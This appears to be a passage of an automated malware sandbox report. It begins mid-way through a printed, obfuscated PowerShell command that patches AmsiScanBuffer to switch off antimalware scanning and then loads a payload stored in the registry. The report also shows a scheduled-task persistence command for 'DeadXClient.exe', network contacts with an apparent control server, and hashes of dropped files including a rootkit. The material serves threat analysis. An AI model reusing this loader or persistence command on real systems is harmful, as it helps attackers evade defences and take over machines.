$_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+'t'+'e'+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'ro'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'Wi'+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+'U'+''+'n'+''+[Char](115)+''+[Char](97)+'f'+'e'+'N'+[Char](97)+''+'t'+''+[Char](105)+'v'+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+'ds');$sPtLxLYwZTVdRC=$cjaMnwRjKvAjS.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+[Char](114)+'oc'+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+'S'+''+[Char](116)+''+[Char](97)+'tic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$NBVkCzpNYvRzedSnpMu=mJxZtCVPQAPK @([String])([IntPtr]);$EruqGDZwUvBgBTOcXWxJFE=mJxZtCVPQAPK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$iWjFoGtbeor=$cjaMnwRjKvAjS.GetMethod(''+'G'+''+'e'+''+[Char](116)+'M'+'o'+''+'d'+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+'a'+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+'r'+'ne'+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+'ll')));$TWGNueyubeTZBH=$sPtLxLYwZTVdRC.Invoke($Null,@([Object]$iWjFoGtbeor,[Object]('Lo'+[Char](97)+'d'+[Char](76)+'ib'+'r'+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$witYAKNjbnwSjZclk=$sPtLxLYwZTVdRC.Invoke($Null,@([Object]$iWjFoGtbeor,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'t'+'u'+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+'o'+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$uzXmpUc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TWGNueyubeTZBH,$NBVkCzpNYvRzedSnpMu).Invoke('am'+'s'+'i'+[Char](46)+'d'+[Char](108)+''+'l'+'');$AVjEQPeOUrcvYCnyG=$sPtLxLYwZTVdRC.Invoke($Null,@([Object]$uzXmpUc,[Object]('A'+'m'+''+[Char](115)+''+'i'+''+'S'+''+[Char](99)+''+[Char](97)+'nB'+'u'+''+[Char](102)+''+'f'+'e'+[Char](114)+'')));$aIyXbGPOUF=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($witYAKNjbnwSjZclk,$EruqGDZwUvBgBTOcXWxJFE).Invoke($AVjEQPeOUrcvYCnyG,[uint32]8,4,[ref]$aIyXbGPOUF);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AVjEQPeOUrcvYCnyG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($witYAKNjbnwSjZclk,$EruqGDZwUvBgBTOcXWxJFE).Invoke($AVjEQPeOUrcvYCnyG,[uint32]8,0x20,[ref]$aIyXbGPOUF);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'FT'+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](68)+''+'e'+''+[Char](97)+''+[Char](100)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "DeadXClient" /tr "C:\Users\Public\DeadXClient.exe"

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{a2afc2a8-fd07-491d-b7a2-b551f34aee5f}

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Public\DeadXClient.exe

C:\Users\Public\DeadXClient.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp
US 8.8.8.8:53 24.19.67.172.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.110.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.110.199.185.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 subscribe-bond.gl.at.ply.gg udp
US 147.185.221.21:28600 subscribe-bond.gl.at.ply.gg tcp
US 8.8.8.8:53 21.221.185.147.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

memory/4476-0-0x00007FFA741A3000-0x00007FFA741A4000-memory.dmp

memory/4476-1-0x00000219D6DB0000-0x00000219D7206000-memory.dmp

memory/4476-2-0x00000219D8D50000-0x00000219D8D70000-memory.dmp

memory/4476-3-0x00000219F1650000-0x00000219F1670000-memory.dmp

memory/4476-5-0x00000219F1780000-0x00000219F17EE000-memory.dmp

memory/4476-4-0x00000219F1A30000-0x00000219F1C44000-memory.dmp

memory/4476-9-0x00000219F1680000-0x00000219F1690000-memory.dmp

memory/4476-10-0x00000219F1690000-0x00000219F16AE000-memory.dmp

memory/4476-8-0x00000219F1930000-0x00000219F198A000-memory.dmp

memory/4476-7-0x00000219F1670000-0x00000219F167E000-memory.dmp

memory/4476-6-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/4476-11-0x00000219F2BC0000-0x00000219F2D0A000-memory.dmp

memory/4476-12-0x00000219F2D10000-0x00000219F2E26000-memory.dmp

memory/4476-13-0x00000219F17F0000-0x00000219F1820000-memory.dmp

memory/4476-14-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/4476-15-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/4476-16-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/4476-17-0x00007FFA741A3000-0x00007FFA741A4000-memory.dmp

memory/4476-22-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/2188-23-0x0000025333710000-0x0000025333732000-memory.dmp

memory/2188-24-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/2188-26-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/2188-28-0x00000253338E0000-0x0000025333956000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_llterzxl.ix4.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/2188-37-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/2188-67-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/4476-68-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

memory/4476-71-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

C:\Users\Public\Documents\svchost.exe

MD5 8960120f7a4b458783331d2fbd75006d
SHA1 08582ccda4853bed8e2acb78cc78a1e3ab53000c
SHA256 510990b40e42200f2daacf1f1ee3e4a7b14ac10b24cfecd7d35820d99230dc8b
SHA512 32bec63ed93e4651d954198e7391a8c48146f44400ec21ccb66959bc30042bca7c33445f80148ecf5472ac6eb06a1cf4880ddf12cba6ca93142795dff9ee3ccd

memory/2028-76-0x0000000000A30000-0x0000000000A7E000-memory.dmp

memory/2028-77-0x0000000000E80000-0x0000000000E86000-memory.dmp

memory/2028-78-0x0000000001300000-0x0000000001342000-memory.dmp

memory/2028-79-0x0000000000E90000-0x0000000000E96000-memory.dmp

memory/4476-80-0x00007FFA741A0000-0x00007FFA74B8C000-memory.dmp

C:\Users\Public\DeadCodeRootKit.exe

MD5 b8479a23c22cf6fc456e197939284069
SHA1 b2d98cc291f16192a46f363d007e012d45c63300
SHA256 18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f
SHA512 786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

C:\Users\Public\DeadXClient.exe

MD5 0dec47218426dfc9cf63a4074964ac9d
SHA1 579d7c8a7156b306b3661cfd156f91ec6bd1ed4d
SHA256 d7095de943a18d68425fc62cdcb39add9819fab6089382171138585d98174415
SHA512 9bb7da6b0170bcde815a77033e581c1b2a34db2b89205a59a0cd5058f76edda414100bd0ad95f306261f38f894b1b61a26e9a22be383965aeaeaa254fe3e0c09

memory/2988-94-0x0000000000970000-0x000000000097E000-memory.dmp

memory/812-119-0x000002D375850000-0x000002D375878000-memory.dmp

memory/812-120-0x00007FFA902B0000-0x00007FFA9048B000-memory.dmp

memory/812-121-0x00007FFA8EEF0000-0x00007FFA8EF9E000-memory.dmp

memory/3772-125-0x0000000140000000-0x0000000140008000-memory.dmp

memory/3772-129-0x00007FFA8EEF0000-0x00007FFA8EF9E000-memory.dmp

memory/3772-127-0x0000000140000000-0x0000000140008000-memory.dmp

memory/3772-130-0x0000000140000000-0x0000000140008000-memory.dmp

memory/600-142-0x00007FFA50340000-0x00007FFA50350000-memory.dmp

memory/652-153-0x00007FFA50340000-0x00007FFA50350000-memory.dmp

memory/748-164-0x00007FFA50340000-0x00007FFA50350000-memory.dmp

memory/916-175-0x00007FFA50340000-0x00007FFA50350000-memory.dmp

memory/1012-179-0x00000223A43A0000-0x00000223A43C7000-memory.dmp

memory/916-174-0x00000269476D0000-0x00000269476F7000-memory.dmp

memory/916-168-0x00000269476D0000-0x00000269476F7000-memory.dmp

memory/748-163-0x00000178FE290000-0x00000178FE2B7000-memory.dmp

memory/748-157-0x00000178FE290000-0x00000178FE2B7000-memory.dmp

memory/652-152-0x0000026F771B0000-0x0000026F771D7000-memory.dmp

memory/652-146-0x0000026F771B0000-0x0000026F771D7000-memory.dmp

memory/600-141-0x000001C56CB20000-0x000001C56CB47000-memory.dmp

memory/600-135-0x000001C56CB20000-0x000001C56CB47000-memory.dmp

memory/600-134-0x000001C56CB20000-0x000001C56CB47000-memory.dmp

memory/600-133-0x000001C56CAF0000-0x000001C56CB12000-memory.dmp

memory/3772-128-0x00007FFA902B0000-0x00007FFA9048B000-memory.dmp

memory/3772-124-0x0000000140000000-0x0000000140008000-memory.dmp

memory/3772-123-0x0000000140000000-0x0000000140008000-memory.dmp

memory/3772-122-0x0000000140000000-0x0000000140008000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db

MD5 97cea2ecb607d9b8cf79b35ac418cf7f
SHA1 54caed4a6fdff3b8fa69b186e5a64eb6be5496b5
SHA256 200608d00e3b5083c39c6dd583fc5261f138a9e2711b24c3a72d123002da5266
SHA512 a2f688f76bd1d3a2c5c1321c258edd3360ab28af0ea159dff76926ff3733efbf0710a582e7a38e8d3278ead81f80ca4fa913d8af165bca0dff8106b0e93deb4c